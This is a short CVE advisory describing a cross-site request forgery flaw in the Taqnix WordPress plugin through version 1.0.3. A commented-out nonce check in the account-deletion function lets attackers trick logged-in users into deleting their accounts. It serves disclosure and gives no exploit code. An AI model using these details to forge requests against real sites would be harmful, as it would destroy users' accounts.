CVE-2026-3565

Description

The Taqnix plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.3. This is due to a missing nonce verification in the taqnix_delete_my_account() function, where the check_ajax_referer() call is explicitly commented out on line 883. This makes it possible for unauthenticated attackers to trick a logged-in non-administrator user into deleting their own account via a forged request granted they can trick the user into performing an action such as clicking a link or visiting a malicious page.
